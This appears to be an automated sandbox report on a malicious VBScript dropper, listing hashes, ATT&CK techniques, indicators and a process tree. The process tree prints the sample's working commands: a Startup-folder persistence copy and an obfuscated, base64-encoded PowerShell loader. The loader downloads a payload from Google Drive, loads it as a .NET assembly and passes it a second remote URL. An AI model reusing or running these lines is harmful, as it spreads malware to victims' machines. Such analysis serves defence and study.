cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5

General

Target

cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5.vbs
Size

141KB
MD5

83e4a8c3434c580d29ca7d33cac993b7
SHA1

61d0199df0b239716b08a3921be45cb9ecc015fe
SHA256

cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5
SHA512

5fda977b553313152b0caff0d80f51225a6cd321b29398f92b2e7dcaa16c1a4bd2a1256885ca73a51232441df932564928137cad1ca6054c5cf0f5bb06c0d518
SSDEEP

3072:/irBgt5pEGw4CvaiYHdtKtbEBFFpRYJO3iYUDQ3k6GL6L1UuXD:bNFp6JO3iYgQhCO3D

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1to6BWNGH3v9BuIxnkwk_gX4W3sCxklk7

exe.dropper

https://drive.google.com/uc?export=download&id=1to6BWNGH3v9BuIxnkwk_gX4W3sCxklk7

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
23	4216	powershell.exe
29	4216	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2468	powershell.exe
3716	powershell.exe
4216	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desvirginar.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desvirginar.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	drive.google.com
23	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3936	cmd.exe
3900	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3900	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2468	powershell.exe
2468	powershell.exe
3716	powershell.exe
3716	powershell.exe
4216	powershell.exe
4216	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	3716	powershell.exe
Token: SeDebugPrivilege	4216	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 3936	2764	WScript.exe	84
PID 2764 wrote to memory of 3936	2764	WScript.exe	84
PID 3936 wrote to memory of 3900	3936	cmd.exe	86
PID 3936 wrote to memory of 3900	3936	cmd.exe	86
PID 3936 wrote to memory of 2468	3936	cmd.exe	96
PID 3936 wrote to memory of 2468	3936	cmd.exe	96
PID 2764 wrote to memory of 3716	2764	WScript.exe	99
PID 2764 wrote to memory of 3716	2764	WScript.exe	99
PID 3716 wrote to memory of 4216	3716	powershell.exe	101
PID 3716 wrote to memory of 4216	3716	powershell.exe	101

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.ranigrivsed.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3936
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.ranigrivsed.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNoZUxsaWRbMV0rJFNoZUxsaURbMTNdKyd4JykgKCgnSUhhaW1hZ2VVcmwgPSAwWThodHRwczovJysnL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTF0bzZCVycrJ05HSDN2OUJ1SXhuaycrJ3drX2dYNFczc0N4a2wnKydrNyAwWTg7SUhhd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXMnKyd0ZW0uTmV0LicrJ1dlYkNsaWVudDtJSGFpbWFnZUJ5dGVzJysnID0gSUhhd2ViQ2xpZW50LkRvd25sb2FkRGF0YScrJyhJSGFpbWFnZVVybCk7SUhhaW1hZ2VUZXh0ID0gW1N5cycrJ3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdCcrJ3JpbmcoSUhhaW1hZ2VCeXRlcyk7SUhhc3RhcnRGbGFnID0gMFk4PDxCQVNFNjRfU1RBUlQ+PjBZOCcrJztJSGFlbmRGbGFnID0gMFk4PDxCQVNFNjRfRU5EPj4wWScrJzg7SUhhc3RhcnRJbmRlJysneCA9IElIYWltYWdlVGV4dC5JbmRleE9mKElIYXN0YXJ0RmxhZyk7SUhhZW5kSW5kZXggPSBJSGFpbWFnZVRleHQuSW5kZXhPZihJSGFlbmRGbGFnKTtJSGFzdGFydEluZGV4IC1nZSAwIC1hbmQgSUhhZW5kSW5kZXggLWd0IElIYXN0YXJ0SW5kZXg7SUhhc3RhcnRJbmRleCArPSBJSGFzdGFydEZsYWcuTGVuZ3RoO0lIYWJhc2U2NExlbmd0aCA9IElIYWVuZEluZGV4IC0gSScrJ0hhc3RhcnRJbmRleDtJSGFiYXNlNjRDb21tYW5kJysnICcrJz0gSUhhaW0nKydhZ2VUZXh0LlN1YnN0cmluZyhJSGFzdGFydEluZGV4LCBJSGFiYXNlNjRMZW5ndGgpO0lIYWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKElIYWJhc2U2NENvbW1hbmQuVG8nKydDaGFyJysnQXJyYScrJ3koKSAyVHcgRm9yRWEnKydjaC1PYmplY3QgeyBJSGFfIH0pWy0xLi4tJysnKElIYWJhc2U2NCcrJ0NvbW1hbmQuTGVuZ3RoKV07SUhhY29tbWFuZEJ5dGVzID0nKycgW1N5c3RlbS5Db252ZXInKyd0XTo6RnJvbUJhc2U2NFN0cmluZyhJSGFiYXNlNjRSJysnZXZlcnNlZCk7SUhhbG9hZGVkQScrJ3MnKydzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKElIYWNvbW1hbmRCeXRlcyk7SUhhdmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdlJysndE1ldGhvZCgwWThWQScrJ0knKycwWTgpO0lIYXZhaU1ldGhvZC5JbnZva2UoSUhhbnVsbCwgQCgwWTh0eHQub2NzaUMvcmguZWVyZi5uZScrJ2dhdGFkdGZvcy50cm9wcHVzLW5lZXJjcy8vOnNwdHRoMFk4LCAwWThkZXNhdGl2YWRvMCcrJ1k4LCAwWThkZXNhdGl2YWRvMFk4LCAwWThkZXNhdGl2YWRvMFk4LCAwWThBcHBMYXVuY2gwWTgsIDBZOGRlc2F0aXZhZG8wWTgsIDBZOGRlc2F0aXZhZCcrJ28nKycwWTgsMFk4ZGVzYXRpdmFkbzBZOCwwWThkZXNhdGl2YWRvMFk4LDBZOGRlc2F0aXZhZG8wWTgsMFk4ZGVzYXRpdmFkbzBZOCwwWThkZXNhdGl2YWRvMFk4LDBZODEwWTgsMFk4ZGVzYScrJ3RpdmFkbzBZOCcrJykpOycpLlJlUExBY0UoJzBZOCcsW1N0cmlOR11bQ0hBUl0zOSkuUmVQTEFjRSgoW0NIQVJdNzMrW0NIQVJdNzIrW0NIQVJdOTcpLCckJykuUmVQTEFjRSgnMlR3JyxbU3RyaU5HXVtDSEFSXTEyNCkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sheLlid[1]+$SheLliD[13]+'x') (('IHaimageUrl = 0Y8https:/'+'/drive.google.com/uc?export=download&id=1to6BW'+'NGH3v9BuIxnk'+'wk_gX4W3sCxkl'+'k7 0Y8;IHawebClient = New-Object Sys'+'tem.Net.'+'WebClient;IHaimageBytes'+' = IHawebClient.DownloadData'+'(IHaimageUrl);IHaimageText = [Sys'+'tem.Text.Encoding]::UTF8.GetSt'+'ring(IHaimageBytes);IHastartFlag = 0Y8<<BASE64_START>>0Y8'+';IHaendFlag = 0Y8<<BASE64_END>>0Y'+'8;IHastartInde'+'x = IHaimageText.IndexOf(IHastartFlag);IHaendIndex = IHaimageText.IndexOf(IHaendFlag);IHastartIndex -ge 0 -and IHaendIndex -gt IHastartIndex;IHastartIndex += IHastartFlag.Length;IHabase64Length = IHaendIndex - I'+'HastartIndex;IHabase64Command'+' '+'= IHaim'+'ageText.Substring(IHastartIndex, IHabase64Length);IHabase64Reversed = -join (IHabase64Command.To'+'Char'+'Arra'+'y() 2Tw ForEa'+'ch-Object { IHa_ })[-1..-'+'(IHabase64'+'Command.Length)];IHacommandBytes ='+' [System.Conver'+'t]::FromBase64String(IHabase64R'+'eversed);IHaloadedA'+'s'+'sembly = [System.Reflection.Assembly]::Load(IHacommandBytes);IHavaiMethod = [dnlib.IO.Home].Ge'+'tMethod(0Y8VA'+'I'+'0Y8);IHavaiMethod.Invoke(IHanull, @(0Y8txt.ocsiC/rh.eerf.ne'+'gatadtfos.troppus-neercs//:sptth0Y8, 0Y8desativado0'+'Y8, 0Y8desativado0Y8, 0Y8desativado0Y8, 0Y8AppLaunch0Y8, 0Y8desativado0Y8, 0Y8desativad'+'o'+'0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y810Y8,0Y8desa'+'tivado0Y8'+'));').RePLAcE('0Y8',[StriNG][CHAR]39).RePLAcE(([CHAR]73+[CHAR]72+[CHAR]97),'$').RePLAcE('2Tw',[StriNG][CHAR]124) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
913abb232c8f6d76f407616d3e1bdaac

SHA1
0c670c58b4f94376386e62ce15a9c4b99c42a2e3

SHA256
9309f6058e69ca7ebe653f9523c4f303239dedfa847eee22b5d7aff2ca40a773

SHA512
87d59254fa2bbb5898b503ff455a85aad85dd070b86278932812291ac7f445ea4c9160e7a14daa1bc5d254201acb117accb0b7419a6b0e7595d98e3e5696f804

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a4judpqj.wec.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2468-1-0x00007FFA94C03000-0x00007FFA94C05000-memory.dmp

Filesize
8KB

Download
memory/2468-4-0x000001F77D8C0000-0x000001F77D8E2000-memory.dmp

Filesize
136KB

Download
memory/2468-12-0x00007FFA94C00000-0x00007FFA956C1000-memory.dmp

Filesize
10.8MB

Download
memory/2468-13-0x00007FFA94C00000-0x00007FFA956C1000-memory.dmp

Filesize
10.8MB

Download
memory/2468-14-0x00007FFA94C00000-0x00007FFA956C1000-memory.dmp

Filesize
10.8MB

Download
memory/2468-17-0x00007FFA94C00000-0x00007FFA956C1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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